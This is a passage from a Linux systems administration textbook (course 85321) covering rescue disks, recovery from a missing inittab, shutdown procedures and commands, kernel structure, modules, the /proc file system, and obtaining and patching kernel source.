David Jones and Bruce Jamieson (2/20/25) Page 329

85321, Systems Administration Chapter 12: Startup and Shutdown

It is possible for a single disk to provide both boot and root disk services.

Making a boot and root disk

It is important that you have alternative boot and root disks for your system. There
are (at least) two methods you can use to obtain them
 use the installation disks which come with your distribution of Linux,
In order to install Linux you basically have to have a functioning Linux computer.
Therefore the installation disk(s) that you used to install Linux provide an
alternative boot and root disk.
 use a rescue disk (set).
A number of people have created rescue disks. These are boot and root disk sets
which have been configured to provide you with the tools you will need to rescue
your system from problems.
The resource materials section for week 7 on the 85321 Web site/CD-ROM contains
pointers to two rescue disk sets.

Exercises

12.11 Create a boot and root disk set for your system using the resources on the
85321 Web site/CD-ROM.

David Jones and Bruce Jamieson (2/20/25) Page 330

 85321, Systems Administration Chapter 12: Startup and Shutdown

Using boot and root

What do you think would happen if you did the following?

rm /etc/inittab
The next time you booted your system you would see something like this on the
screen.

INIT: version 2.71 booting

INIT: No inittab file found

Enter runlevel: 1
INIT: Entering runlevel: 1
INIT: no more processes left in this runlevel
What's happening here is that init can't find the inittab file and so it can't do
anything. To solve this you need to boot the system and replace the missing
inittab file. This is where the alternative root and boot disk(s) come in handy.
To solve this problem you would do the following
 boot the system with the alternative boot/root disk set
 login as root
 perform the following
bash:/> mount –t ext2 /dev/hda2 /mnt
mount: mount point /mnt does not exist
bash:/> mkdir /mnt
bash:/> mount –t ext2 /dev/hda1 /mnt
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
bash:/> cp /etc/inittab /mnt/etc/inittab
bash:/> umount /mnt
A description of the above goes like this
 Try to mount the usual root file system, the one with the missing inittab file.
But it doesn't work.
 Create the missing /mnt directory.
 Now mount the usual root file system.
 Copy the inittab file from the alternative root disk onto the usual root disk.
Normally you would have a backup tape which contains a copy of the old
inittab file.
 Unmount the usual root file system and reboot the system.
The aim of this example is to show you how you can use alternative root and boot
disks to solve problems which may prevent your system from booting.

Exercises

David Jones and Bruce Jamieson (2/20/25) Page 331

85321, Systems Administration Chapter 12: Startup and Shutdown

12.12 Removing the /etc/inittab file from your Linux system will not only
cause problems when you reboot the machine. It also causes problems when
you try to shut the machine down. What problems? Why?
12.13 What happens if you forget the root password? Without it you can't perform
any management tasks at all. How would you fix this problem?
12.14 Boot your system in the normal manner and comment out all the entries in
your /etc/inittab file that contain the word mingetty. What do you think
is going to happen? Reboot your system. Now fix the problem using the
installation floppy disks.

Solutions to hardware problems

Some guidelines to solving hardware problems
 check the power supply and its connections,
Don't laugh, there are many cases I know of in which the whole problem was
caused by the equipment not being plugged in properly or not at all.
 check the cables and plugs on the devices,
 check any fault lights on the hardware,
 power cycle the equipment (power off, power on),
Again I'll mention that old Systems Administration maxim. If something doesn't
work turn it off, count to 10 very slowly and turn it back on again (usually with the
fingers crossed). Not only can it solve problems but it is also a good way of
relaxing.
 try rebooting the system without selected pieces of hardware,
It may be only one faulty device that is causing the problem. Try isolating the
problem device.
 use any diagnostic programs that are available, or as a last resort
 call a technician or a vendor.

Damaged file systems

In the next two chapters we'll examine file systems in detail and provide solutions to
how you can fix damaged file systems. The two methods we'll examine include
 the fsck command, and
 always maintaining good backups.

Improperly configured kernels

The kernel contains most of the code that allows the software to talk to your hardware.
If the code it contains is wrong then your software won't be able to talk to your
hardware. In a later chapter on the kernel we'll explain in more detail why you might
want to change the kernel and why it might not work.

David Jones and Bruce Jamieson (2/20/25) Page 332

85321, Systems Administration Chapter 12: Startup and Shutdown

Suffice to say you must always maintain a working kernel that you can boot your
system with.

David Jones and Bruce Jamieson (2/20/25) Page 333

85321, Systems Administration Chapter 12: Startup and Shutdown

Shutting down
You should not just simply turn a UNIX computer off or reboot it. Doing so will
usually cause some sort of damage to the system especially to the file system. Most of
the time the operating system may be able to recover from such a situation (but NOT
always).
There are a number of tasks that have to be performed for a UNIX system to be
shutdown cleanly
 tell the users the system is going down,
Telling them 5 seconds before pulling the plug is not a good way of promoting
good feeling amongst your users. Wherever possible the users should know at least
a couple of days in advance that the system is going down (there is always one
user who never knows about it and complains).
 signal the currently executing processes that it is time for them to die,
UNIX is a multi-tasking operating system. Just because there is no-one logged in
this does not mean that there is nothing going on. You must signal all the current
running processes that it is time to die gracefully.
 place the system into single user mode, and
 perform sync to flush the file systems buffers so that the physical state of the file
system matches the logical state.
Most UNIX systems provide commands that perform these steps for you.

Reasons Shutting down

In general, you should try to limit the number of times you turn a computer on or off
as doing so involves some wear and tear. It is often better to simply leave the
computer on 24 hours a day. In the case of a UNIX system being used for a mission
critical application by some business it may have to be up 24 hours a day.
Some of the reasons why you may wish to shut a UNIX system down include
 general housekeeping,
Every time you reboot a UNIX computer it will perform some important
housekeeping tasks, including deleting files from the temporary directories and
performing checks on the machines file systems. Rebooting will also get rid of any
zombie processes.
 general failures, and
Occasionally problems will arise for which there is only one resort, shutdown.
These problems can include hanging logins, unsuccessful mount requests, dazed
devices, runaway processes filling up disk space or CPU time and preventing any
useful work being done.

David Jones and Bruce Jamieson (2/20/25) Page 334

85321, Systems Administration Chapter 12: Startup and Shutdown

 system maintenance and additions.

There are some operations that only work if the system is rebooted or if the system
is in single user mode, for example adding a new device.

David Jones and Bruce Jamieson (2/20/25) Page 335

 85321, Systems Administration Chapter 12: Startup and Shutdown

Being nice to the users

Knowing of the existence of the appropriate command is the first step in bringing your
UNIX computer down. The other step is outlined in the heading for this section. The
following command is an example of what not to do.
shutdown -h -1 now
Under Linux this results in a message somewhat like this appearing on every user's
terminal
THE SYSTEM IS BEING SHUT DOWN NOW ! ! !
Log off now or risk your files being damaged.
and the user will almost immediately be logged out.
This is not a method inclined to win friends and influence people. The following is a
list of guidelines of how and when to perform system shutdowns
 shutdowns should be scheduled,
If users know the system is coming down at specified times they can organise their
computer time around those times.
 perform a regular shutdown once a week, and
A guideline, so that the housekeeping tasks discussed above can be performed. If
it's regular the users get to know when the system will be going down.
 use /etc/motd.
/etc/motd is a text file that contains the message the users see when they first log
onto a system. You can use it to inform users of the next scheduled shutdown.

Commands to shutdown
There are a number of different methods for shutting down and rebooting a system
including
 the shutdown command
The most used method for shutting the system down. The command can display
messages at preset intervals warning the users that the system is coming down.
 the halt command
Logs the shutdown, kills the system processes, executes sync and halts the
processor.
 the reboot command
Similar to halt but causes the machine to reboot rather than halting.
 sending init a TERM signal,
init will usually interpret a TERM signal (signal number 15) as a command to go
into single user mode. It will kill of user processes and daemons. The command is
kill -15 1 (init is always process number 1). It may not work or be safe on all
machines.

David Jones and Bruce Jamieson (2/20/25) Page 336

 85321, Systems Administration Chapter 12: Startup and Shutdown

 the fasthalt or fastboot commands

These commands create a file /fastboot before calling halt or reboot. When
the system reboots and the startup scripts find a file /fastboot they will not
perform a fsck on the file systems.
The most used method will normally be the shutdown command. It provides users
with warnings and is the safest method to use.

shutdown

The format of the command is

shutdown [ -h | -r ] [ -fqs ] [ now | hh:ss | +mins ]
The parameters are
 -h
Halt the system and don't reboot.
 -r
Reboot the system
 -f
Do a fast boot.
 -q
Use a default broadcast message.
 -s
Reboot into single user mode by creating a /etc/singleboot file.
The time at which a shutdown should occur are specified by the now
hh:ss +mins options.
 now
Shut down immediately.
 hh:ss
Shut down at time hh:ss.
 +mins
Shut down mins minutes in the future.
The default wait time before shutting down is two minutes.

What happens

The procedure for shutdown is as follows

 five minutes before shutdown or straight away if shutdown is in less than five
minutes
The file /etc/nologin is created. This prevents any users (except root) from
logging in. A message is also broadcast to all logged in users notifying them of the
imminent shutdown.
 at shutdown time.
All users are notified. init is told not to spawn any more getty processes.

David Jones and Bruce Jamieson (2/20/25) Page 337

85321, Systems Administration Chapter 12: Startup and Shutdown

Shutdown time is written into the file /var/log/wtmp. All other processes are
killed. A sync is performed. All file systems are unmounted. Another sync is
performed and the system is rebooted.

David Jones and Bruce Jamieson (2/20/25) Page 338

85321, Systems Administration Chapter 12: Startup and Shutdown

The other commands

The other related commands including reboot, fastboot, halt, fasthalt all use
a similar format to the shutdown command. Refer to the man pages for more
information.

Conclusions
Booting and shutting down a UNIX computer is significantly more complex than
performing the same tasks with a MS-DOS computer. A UNIX computer should never
just be shut off.
The UNIX boot process can be summarised into a number of steps
 the hardware ROM or BIOS performs a number of tasks including loading the
bootstrap program,
 the bootstrap program loads the kernel,
 the kernel starts operation, configures the system and runs the init process
 init consults the /etc/inittab file and performs a number of necessary actions.
One of the responsibilities of the init process is to execute the startup scripts that,
under Linux, reside in the /etc/rc.d directory.
It is important that you have at least one other alternative method for booting your
UNIX computer.
There are a number of methods for shutting down a UNIX computer. The most used
is the shutdown command.

Review Questions

12.1

What would happen if the file /etc/inittab did not exist? Find out.

12.2

How would you fix the following problems?

 The kernel for your Linux computer has been accidentally deleted.
 The /etc/fstab file for your system has been moved to
/usr/local/etc/fstab.

12.3

David Jones and Bruce Jamieson (2/20/25) Page 339

85321, Systems Administration Chapter 12: Startup and Shutdown

Explain each of the following inittab entries

 s1:45:respawn:/sbin/agetty 19200 ttyS0 vt100
 id:5:initdefault:
 si:S:sysinit:/etc/rc.d/rc.S

David Jones and Bruce Jamieson (2/20/25) Page 340

 85321, Systems Administration Chapter 13: Kernel

Chapter 13
Kernel

The bit of the nut that you eat?

Well, not exactly. The kernel is the core of the operating system; it is the program that
controls the basic services that are utilised by user programs; it is this suite of basic
services in the form of system calls that make an operating system "UNIX".
The kernel is also responsible for:
 CPU resource scheduling (with the associated duties of process management)
 Memory management (including the important implementation of protection)
 Device control (including providing the device-file/device-driver interface)
 Security (at a device, process and user level)
 Accounting services (including CPU usage and disk quotas)
 Inter Process Communication (shared memory, semaphores and message passing)
The Linux Kernel FAQ sums it up nicely with:

The Unix kernel acts as a mediator for your programs. First, it does the
memory management for all of the running programs (processes), and makes
sure that they all get a fair (or unfair, if you please) share of the
processor's cycles. In addition, it provides a nice, fairly portable
interface for programs to talk to your hardware.
Obviously, there is more to the kernel's operation than this, but the basic
functions above are the most important to know.

Why?
Why study the kernel? Isn't that an operating-system-type-thing? What does a Systems
Administrator have to do with the internal mechanics of the OS?
Lots.
UNIX is usually provided with the source for the kernel (there are exceptions to this in
the commercial UNIX world). The reason is that this allows Systems Administrators
to directly customise the kernel for their particular system. A Systems Administrator
might do this because:
 They have modified the system hardware (adding devices, memory, processors
etc.).
 They wish to optimise the memory usage (called reducing the kernel footprint).

David Jones and Bruce Jamieson (2/20/25) Page 341

 85321, Systems Administration Chapter 13: Kernel

 The speed and performance of the system may need improvement (eg. modify the
quantum per task to suit CPU intensive vs IO intensive systems). This process
(along with optimising memory) is called tweaking.
 Improvements to the kernel can be provided in the form of source code which then
allows the Systems Administrator to easily upgrade the system with a kernel
recompile.
Recompiling the kernel is the process whereby the kernel is
reconfigured, the source code is regenerated/recompiled and a linked
object is produced. Throughout this chapter the concept of
recompiling the kernel will mean both the kernel source code
compilation and linkage.

How?
In this chapter, we will be going through the step-by-step process of compiling a
kernel, a process that includes:
Finding out about your current kernel (what version it is and where it is located?)
Obtaining the kernel (where do you get the kernel source, how do you unpack it and
where do you put it?)
Obtaining and reading documentation (where can I find out about my new kernel
source?)
Configuring your kernel (how is this done, what is this doing?)
Compiling your kernel (how do we do this?)
Testing the kernel (why do we do this and how?)
Installing the kernel (how do we do this?)
But to begin with, we really need to look at exactly what the kernel physically is and
how it is generated.
To do this, we will examine the Linux kernel, specifically on the x86 architecture.

The lifeless image

The kernel is physically a file that is usually located in the /boot directory. Under
Linux, this file is called vmlinuz. On my system, an ls listing of the kernel
produced:
bash# ls -al /boot/vml*
lrwxrwxrwx 1 root root 14 Jan 2 23:44 /boot/vmlinuz -> vmlinuz-2.0.31
-rw-r--r-- 1 root root 444595 Nov 10 02:59 /boot/vmlinuz-2.0.31
You can see in this instance that the “kernel file” is actually a link to another file
containing the kernel image. The actual kernel size will vary from machine to

David Jones and Bruce Jamieson (2/20/25) Page 342

 85321, Systems Administration Chapter 13: Kernel

machine. The reason for this is that the size of the kernel is dependant on what features
you have compiled into it, what modifications you've make to the kernel data
structures and what (if any) additions you have made to the kernel code.
vmlinuz is referred to as the kernel image. At a physical level, this file consists of a
small section of machine code followed by a compressed block. At boot time, the
program at the start of the kernel is loaded into memory at which point it
uncompresses the rest of the kernel.
This is an ingenious way of making the physical kernel image on disk as small as
possible; uncompressed the kernel image could be around one megabyte.
So what makes up this kernel?

Kernel gizzards
An umcompressed kernel is really a giant object file; the product of C and assembler
linking - the kernel is not an "executable" file (i.e. you just can't type vmlinuz at the
prompt to run the kernel). The actual source of the kernel is stored in the
/usr/src/linux directory; a typical listing may produce:

[jamiesob@pug jamiesob]$ ls -al /usr/src

total 4
drwxr-xr-x 4 root root 1024 Jan 2 23:53 .
drwxr-xr-x 18 root root 1024 Jan 2 23:45 ..
lrwxrwxrwx 1 root root 12 Jan 2 23:44 linux -> linux-2.0.31
drwxr-xr-x 3 root root 1024 Jan 2 23:44 linux-2.0.31
drwxr-xr-x 7 root root 1024 Jan 2 23:53 redhat
/usr/src/linux is a soft link to /usr/src/<whatever linux
version> - this means you can store several kernel source trees -
however - you MUST change the soft link of /usr/src/linux to the
version of the kernel you will be compiling as there are several
components of the kernel source that rely on this.
SPECIAL NOTE: If your system doesn't have a /usr/src/linux or a
/usr/src/linux* directory (where * is the version of the Linux source) then you
don't have the source code installed on your machine. We will be discussing in a later
section exactly how you can obtain the kernel source. To obtain and install the source
from the Red Hat CD-ROM, you must complete the following steps:
Mount RedHat CD 1 under /mnt.
Execute (as root) the following commands:

rpm –ivh /mnt/RedHat/RPMS/kernel-headers-2.0.31-7.i386.rpm

rpm –ivh /mnt/RedHat/RPMS/kernel-source-2.0.31-7.i386.rpm
The source has now been installed. For further information on installing RedHat
components, see Chapter 8 of the RedHat Installation Guide.
A typical listing of /usr/src/linux produces:

David Jones and Bruce Jamieson (2/20/25) Page 343

 85321, Systems Administration Chapter 13: Kernel

-rw-r--r-- 1 root root 2 May 12 1996 .version

-rw-r--r-- 1 root root 6282 Aug 9 1994 CHANGES
-rw-r--r-- 1 root root 18458 Dec 1 1993 COPYING
-rw-r--r-- 1 root root 21861 Aug 17 1995 CREDITS
-rw-r--r-- 1 root root 3221 Dec 30 1994 Configure
-rw-r--r-- 1 root root 2869 Jan 10 1995 MAGIC
-rw-r--r-- 1 root root 7042 Aug 17 1995 Makefile
-rw-r--r-- 1 root root 9817 Aug 17 1995 README
-rw-r--r-- 1 root root 3114 Aug 17 1995 README.modules
-rw-r--r-- 1 root root 89712 May 12 1996 System.map
drwxr-xr-x 6 root root 1024 May 10 1996 arch/
drwxr-xr-x 7 root root 1024 May 10 1996 drivers/
drwxr-xr-x 13 root root 1024 May 12 1996 fs/
drwxr-xr-x 9 root root 1024 May 12 1996 include/
drwxr-xr-x 2 root root 1024 May 12 1996 init/
drwxr-xr-x 2 root root 1024 May 12 1996 ipc/
drwxr-xr-x 2 root root 1024 May 12 1996 kernel/
drwxr-xr-x 2 root root 1024 May 12 1996 lib/
drwxr-xr-x 2 root root 1024 May 12 1996 mm/
drwxr-xr-x 2 root root 1024 Jan 23 1995 modules/
drwxr-xr-x 4 root root 1024 May 12 1996 net/
-rw-r--r-- 1 root root 862 Aug 17 1995 versions.mk
-rwxr-xr-x 1 root root 995060 May 12 1996 vmlinux
Take note of the vmlinux (if you have one) file - this is the uncompressed kernel!
Notice the size? [vmlinuz is the .z (or compressed) version of vmlinux plus the
decompression code]
Within this directory hierarchy are in excess of 1300 files and directories. On my
system this consists of around 400 C source code files, 370 C header files, 40
Assembler source files and 46 Makefiles. These, when compiled, produce around 300
object files and libraries. At a rough estimate, this consumes around 16 megabytes of
space (this figure will vary).
While this may seem like quite a bit of code, much of it actually isn't used in the
kernel. Quite a large portion of this is driver code; only drivers that are needed on the
system are compiled into the kernel, and then only those that are required at run time
(the rest can be placed separately in things called modules; we will examine this later).
The various directories form logical divisions of the code, especially between the
architecture dependant code (linux/arch), drivers (linux/drivers) and architecture
independent code. By using grep and find, it is possible to trace the structure of the
kernel program, look at the boot process and find out how various parts of it work.

The first incision

An obvious place to start with any large C program is the void main(void) function.
If you grep every source file in the Linux source hierarchy for this function name, you
will be sadly disappointed.

David Jones and Bruce Jamieson (2/20/25) Page 344

85321, Systems Administration Chapter 13: Kernel

As I pointed out earlier, the kernel is a giant object file - a series of compiled
functions. It is NOT executable. The purpose of void main(void) in C is to establish
a framework for the linker to insert code that is used by the operating system to load
and run the program. This wouldn't be of any use for a kernel - it is the operating
system!
This poses a difficulty - how does an operating system run itself?

Making the heart beat...

In the case of Linux, the following steps are performed to boot the kernel:
 The boot loader program (e.g. lilo) starts by loading the vmlinuz from disk into
memory, then starts the code executing.
 After the kernel image is decompressed, the actual kernel is started. This part of
the code was produced from assembler source; it is totally machine specific. The
code for this is located in the /usr/src/linux/arch/i386/kernel/head.S file.
Technically at this point the kernel is running. This is the first process (0) and is
called swapper. Swapper does some low level checks on the processor, memory
and FPU availability, then places the system into protected mode. Paging is
enabled.
 Interrupts are disabled (every one) though the interrupt table is set up for later use.
The entire kernel is realigned in memory (post paging) and some of the basic
memory management structures are created.
 At this point, a function called start_kernel is called. start_kernel is
physically located in /usr/src/linux/init/main.c and is really the core kernel
function - really the equivalent of the void main(void). main.c itself is
virtually the root file for all other source and header files.
 Tests are run (the FPU bug in Pentium chip is identified amongst other checks
including examinations on the DMA chip and bus architecture) and the BogoMip
setting is established.
 start_kernel sets up the memory, interrupts and scheduling. In effect, the kernel
has now has multi-tasking enabled. The console already has had several messages
displayed to it.
 The kernel command line options are parsed (those passed in by the boot loader)
and all embedded device driver modules are initialised.
 Further memory initialisations occur, socket/networking is started and further bug
checks are performed.
 The final action performed by swapper is the first process creation with fork
whereby the init program is launched. Swapper now enters an infinite idle loop.
It is interesting to note that as a linear program, the kernel has finished running! The
timer interrupts are now set so that the scheduler can step in and pre-empt the running
process. However, sections of the kernel will be periodically executed by other
processes.

David Jones and Bruce Jamieson (2/20/25) Page 345

85321, Systems Administration Chapter 13: Kernel

This is really a huge oversimplification of the kernel's structure, but it does give you
the general idea of what it is, what it is made up of and how it loads.

David Jones and Bruce Jamieson (2/20/25) Page 346

85321, Systems Administration Chapter 13: Kernel

Modules
A recent innovation in kernel design is the concept of modules. A module is a
dynamically loadable object file containing functions for interfacing with a particular
device or performing particular tasks. The concept behind modules is simple; to make
a kernel smaller (in memory), keep only the bare basics compiled into the kernel.
When the kernel needs to use devices, let it load modules into memory. If it doesn't
use the modules, let them be unloaded from memory.
This concept has also revolutionised the way in which kernels are compiled. No longer
do you need to compile every device driver into the kernel; you can simply mark some
as modules. This also allows for separate module compilation - if a new device driver
is released then it is a simple case of recompiling the module instead of the entire
kernel.
Modules work by the kernel communicating with a program called kerneld. kerneld
is run at boot time just like a normal daemon process. When the kernel notices that a
request has come in for the use of a module, it checks if it is loaded in memory. If it is,
then the routine is run, however, if not, the kernel gets kerneld to load the module
into memory. kerneld also removes the module from memory if it hasn't been used in
a certain period of time (configurable).
The concept of modules is a good one, but there are some things you should be aware
of:
 Frequently used devices and devices required in the boot process (like the hard
disk) should not be used as modules; these must be compiled into the kernel.
 While the concept of modules is great for systems with limited memory, should
you use them? Memory is cheap - compiling an object into the kernel rather than
leaving it as a module may use more memory but is that better than a system that
uses its CPU and IO resources to constantly load and unload modules? There are
trade offs between smaller kernels and CPU/IO usage with loadable modules.
 It is probably a good idea to modularise devices like the floppy disk, CD-ROM
and parallel port - these are not used very often, and when they are, only for a
short time.
 It is NOT a good idea to modularise frequently used modules like those which
control networking.
There is quite a bit more to kernel modules.

Reading

The Resource Materials section, on the 85321 Website/CD-ROM, for week 7

contains pointers to a number of documents with information about Linux kernel
modules.

David Jones and Bruce Jamieson (2/20/25) Page 347

 85321, Systems Administration Chapter 13: Kernel

The /proc file system

Part of the kernel's function is to provide a file-based method of interaction with its
internal data structures; it does this via the /proc virtual file system.
The /proc file system technically isn't a file system at all; it is in fact a window on the
kernel's internal memory structures. Whenever you access the /proc file system, you
are really accessing kernel memory.
So what does it do?
Effectively the /proc file system is providing an instant snapshot of the status of the
system. This includes memory, CPU resources, network statistics and device
information. This data can be used by programs to gather information about a system,
an example of which is the top program. top scans through the /proc structures and
is able to present the current memory, CPU and swap information, as given below:
7:12pm up 9:40, 1 user, load average: 0.00, 0.00, 0.10
34 processes: 33 sleeping, 1 running, 0 zombie, 0 stopped
CPU states: 0.5% user, 0.9% system, 0.0% nice, 98.6% idle
Mem: 14940K av, 13736K used, 1204K free, 5172K shrd, 1920K buff
Swap: 18140K av, 2304K used, 15836K free

PID USER PRI NI SIZE RES SHRD STAT %CPU %MEM TIME COMMAND
789 jamiesob 19 0 102 480 484 R 1.1 3.2 0:01 top
98 root 14 0 1723 2616 660 S 0.3 17.5 32:30 X :0
1 root 1 0 56 56 212 S 0.0 0.3 0:00 init [5]
84 jamiesob 1 0 125 316 436 S 0.0 2.1 0:00 -bash
96 jamiesob 1 0 81 172 312 S 0.0 1.1 0:00 sh /usr/X11/bin/star
45 root 1 0 45 232 328 S 0.0 1.5 0:00 /usr/sbin/crond -l10
6 root 1 0 27 72 256 S 0.0 0.4 0:00 (update)
7 root 1 0 27 112 284 S 0.0 0.7 0:00 update (bdflush)
59 root 1 0 53 176 272 S 0.0 1.1 0:00 /usr/sbin/syslogd
61 root 1 0 40 144 264 S 0.0 0.9 0:00 /usr/sbin/klogd
63 bin 1 0 60 0 188 SW 0.0 0.0 0:00 (rpc.portmap)
65 root 1 0 58 0 180 SW 0.0 0.0 0:00 (inetd)
67 root 1 0 31 0 180 SW 0.0 0.0 0:00 (lpd)
73 root 1 0 84 0 208 SW 0.0 0.0 0:00 (rpc.nfsd)
77 root 1 0 107 220 296 S 0.0 1.4 0:00 sendmail:accepting
The actual contents of the /proc file system on my system look like:

psyche:~$ ls /proc
1/ 339/ 7/ 87/ dma modules
100/ 45/ 71/ 88/ filesystems net/
105/ 451/ 73/ 89/ interrupts pci
108/ 59/ 77/ 90/ ioports self/
109/ 6/ 793/ 96/ kcore stat
116/ 61/ 80/ 97/ kmsg uptime
117/ 63/ 84/ 98/ ksyms version
124/ 65/ 85/ cpuinfo loadavg
338/ 67/ 86/ devices meminfo
Each of the numbered directories store state information of the process by their PID.
The self/ directory contains information for the process that is viewing the /proc
filesystem, i.e. - YOU. The information stored in this directory looks like:

David Jones and Bruce Jamieson (2/20/25) Page 348

 85321, Systems Administration Chapter 13: Kernel

cmdline (Current command line)

cwd - [0303]:132247 (Link to the current working directory)
environ (All environment variables)
exe - [0303]:109739 (Currently executing code)
fd/ (Directory containing virtual links to
file handles)
maps| (Memory map structure)
root - [0303]:2 (Link to root directory)
stat (Current process statistics)
statm (Current memory statistics)
Most of these files can be cat'ed to the screen. The /proc/filesystems file, when
cat'ed, lists the supported file systems. The /proc/cpuinfo file gives information
about the hardware of the system:

psyche:~$ cat /proc/cpuinfo

cpu : 586
model : Pentium 90/100
mask : E
vid : GenuineIntel
fdiv_bug : no
math : yes
hlt : yes
wp : yes
Integrated NPU : yes
Enhanced VM86 : yes
IO Breakpoints : yes
4MB Pages : yes
TS Counters : yes
Pentium MSR : yes
Mach. Ch. Exep. : yes
CMPXCHGB8B : yes
BogoMips : 39.94
Be aware that upgrading the kernel may mean changes to the structure of the /proc
file system. This may require software upgrades. Information about this should be
provided in the kernel README files.

Exercises

13.1 Find out where kerneld is launched from.

13.2 What is the purpose of /sbin/lsmod? Try it.
13.3 Find out where your kernel image is located and how large it is.
13.4 Examine the /proc file system on you computer. What do you think the
/proc/kcore file is? Hint: Have a look at the size of the file.

Really, why bother?

The most common reason to recompile the kernel is because you've added some
hardware and you want the kernel to recognise and (if you're lucky) use it. A very

David Jones and Bruce Jamieson (2/20/25) Page 349

 85321, Systems Administration Chapter 13: Kernel

good time to recompile your kernel is after you've installed Linux. The reason for this
is that the original Linux kernel provided has extra drivers compiled into it which
consume memory. Funnily enough, while the kernel includes a driver for
communicating in EBCDIC via a 300 baud modem to a coke machine sitting in the
South Hungarian embassy in Cairo [Makefile Question:

Do you want to include support for coke machines located in Cairo?

[Y],N,M?
Do you want to support South Hungarian Embassy Models [Y],N,M?
Support for 300 baud serial link [Y],N,M?
Support EBCDIC communication[Y],N,M?
(I might be making this up... :)]
...the kernel, by default, doesn't have support for some very common sound cards and
network devices! To be fair, there are good reasons for this (IRQ conflicts etc.) but this
does mean a kernel recompile is required.
Another good reason to modify the kernel is to customise some of its data structures
for your system. Possible modifications include increasing the number of processes
the kernel can support (this is a fixed array and can't be set on run time) or modifying
the size of certain buffers.
One of the great benefits of having the source code for the operating system is that you
can play OS-Engineer; it is possible for you to change the scheduling algorithm,
memory management scheme or the IPC functionality.
While it might be nice to go and do these things, it would be
unadvisable to modify the API if you want your programs to still run
under Linux. However, there is nothing to stop you adding to the API.
You may, for example, wish to add a system call to print "Hello
World" to the screen (this would obviously be of great benefit to the
rest of the Linux community ;) - this is possible for you to do.
Strangely enough, to modify the kernel, you need kernel source code. The actual
source can be obtained from a variety of locations. For users who installed Linux from
CD ROM, the source can be found within the distribution. Typically you will actually
go back into the installation menu and install only the section that contains the source.
However, more often than not, you are actually seeking to upgrade the kernel, so you
need the latest kernel source. Because the development of the Linux kernel is an on-
going process, new versions of development kernels are constantly being released. It is
not unusual for development kernels to be released as often as once per day!
The Kernel HOWTO describes some ways to obtain kernels:

You can obtain the source via anonymous ftp from ftp.funet.fi in
/pub/OS/Linux/PEOPLE/Linus, a mirror, or other sites. It is typically
labeled linux-x.y.z.tar.gz, where x.y.z is the version number. Newer
(better?) versions and the patches are typically in subdirectories such as
V1.1' and V1.2' The highest number is the latest version, and is usually a

David Jones and Bruce Jamieson (2/20/25) Page 350

 85321, Systems Administration Chapter 13: Kernel

`test release,'' meaning that if you feel uneasy about beta or alpha
releases, you should stay with a major release.
I strongly suggest that you use a mirror ftp site instead of ftp.funet.fi.
Here is a short list of mirrors and other sites:

USA: tsx-11.mit.edu:/pub/linux/sources/system
USA: sunsite.unc.edu:/pub/Linux/kernel
UK: unix.hensa.ac.uk:/pub/linux/kernel
Austria: fvkma.tu-graz.ac.at:/pub/linux/linus
Germany: ftp.Germany.EU.net:/pub/os/Linux/Local.EUnet/Kernel/Linus
Germany: ftp.dfv.rwth-aachen.de:/pub/linux/kernel
France: ftp.ibp.fr:/pub/linux/sources/system/patches
Australia: kirk.bond.edu.au:/pub/OS/Linux/kernel

If you do not have ftp access, a list of BBS systems which carry Linux is
posted periodically to comp.os.linux.announce; try to obtain this.
Any Sunsite mirror will contain the latest versions of the Linux kernel.
ftp://sunsite.anu.edu.au/linux is a good Australian site to obtain kernel sources.
Generally you will only want to obtain a "stable" kernel version, the n.n.0 releases
are usually safe though you can find out what is the current stable kernel release by
reading the README* or LATEST* files in the download directory.

If you have an extremely new type of hardware then you are often
forced into using developmental kernels. There is nothing wrong with
using these kernels, but beware that you may encounter system
crashes and potential losses of data. During a one year period, the
author obtained around twenty developmental kernels, installed them
and had very few problems. For critical systems, it is better to stick to
known stable kernels.
So, you've obtained the kernel source - it will be in one large, compressed file. The
following extract from the Linux HOWTO pretty much sums up the process:

Log in as or su to root, and cd to /usr/src. If you installed kernel

source when you first installed Linux (as most do), there will already be a
directory called Linux there, which contains the entire old source tree.
If you have the disk space and you want to play it safe, preserve that
directory. A good idea is to figure out what version your system runs now
and rename the directory accordingly. The command

uname -r

prints the current kernel version. Therefore, if

uname -r

said 1.47, you would rename (with mv) Linux to linux-1.1.47. If you feel
mildly reckless, just wipe out the entire directory. In any case, make
certain there is no Linux directory in /usr/src before unpacking the full
source code.

David Jones and Bruce Jamieson (2/20/25) Page 351

 85321, Systems Administration Chapter 13: Kernel

Now, in /usr/src, unpack the source with

tar zxvf linux-x.y.z.tar.gz

(if you've just got a .tar file with no .gz at the end, tar xvf linux-
x.y.z.tar works.). The contents of the source will fly by. When finished,
there will be a new Linux directory in /usr/src. cd to linux and look over
the README file. There will be a section with the label INSTALLING the
kernel.
A couple of points to note.
 Some sources install to directories given by the kernel version, not to the linux
directory. It may be worth checking on this before you unpack the source by
issuing the following command. It will list all the files and directories that are
contained in the source_filename, the kernel archive.
tar -txvf source_filename
This will display a list of files and where they are to be installed. If they are to be
installed into a directory other than linux then you must make a symbolic link,
called linux in the /usr/src directory to the directory that contains the new
source.
 NEVER just delete your old source - you may need it to recompile your old kernel
version if you find the new version isn't working out, though we will discuss other
ways round this problem in later sections.
If you are upgrading your kernel regularly, an alternative to constantly obtaining the
complete kernel source is to patch your kernel.
Patches are basically text files that contain a list of differences between two files. A
kernel patch is a file that contains the differences between all files in one version of
the kernel to the next.
Why would you use them? The only real reason is to reduce download time and space.
A compressed kernel source can be extremely large whereas patches are relatively
small.
Patches are produced as the output from the diff command. For example, given two
files:
file1

"vi is a highly exciting program with a wide range of great features – I am sure that we will
adopt it as part of our PlayPen suite"
- Anonymous Multimillionaire Software Farmer

file2

"vi is a mildly useless program with a wide range of missing features – I am sure that we will
write a much better product; we'll call it `Sentence'"
- Anonymous Multimillionaire Software Farmer
After executing the command:

David Jones and Bruce Jamieson (2/20/25) Page 352

 85321, Systems Administration Chapter 13: Kernel

diff file1 file2 > file3

file3 would contain:
1,2c1,2
< "vi is a highly exciting program with a wide range of great features - I
< am sure that we will adopt it as part of our PlayPen suite"
---
"vi is a mildly useless program with a wide range of missing features - I
am sure that we will write a much better product; we'll call it `Sentence'"
To apply a patch, you use the patch command. patch expects a file as a parameter to
apply the patch to, with the actual patch file as standard input. Following the previous
example, to patch file1 with file3 to obtain file2, we'd use the following
command:

patch file1 < file3

This command applies the file3 patch to file1. After the command, file1 is the
same as file2 and a file called file1.orig has been created as a backup of the
original file1.
The Linux HOWTO further explains applying a kernel patch:

Incremental upgrades of the kernel are distributed as patches. For

example, if you have version 1.1.45, and you notice that there's a
patch46.gz out there for it, it means you can upgrade to version
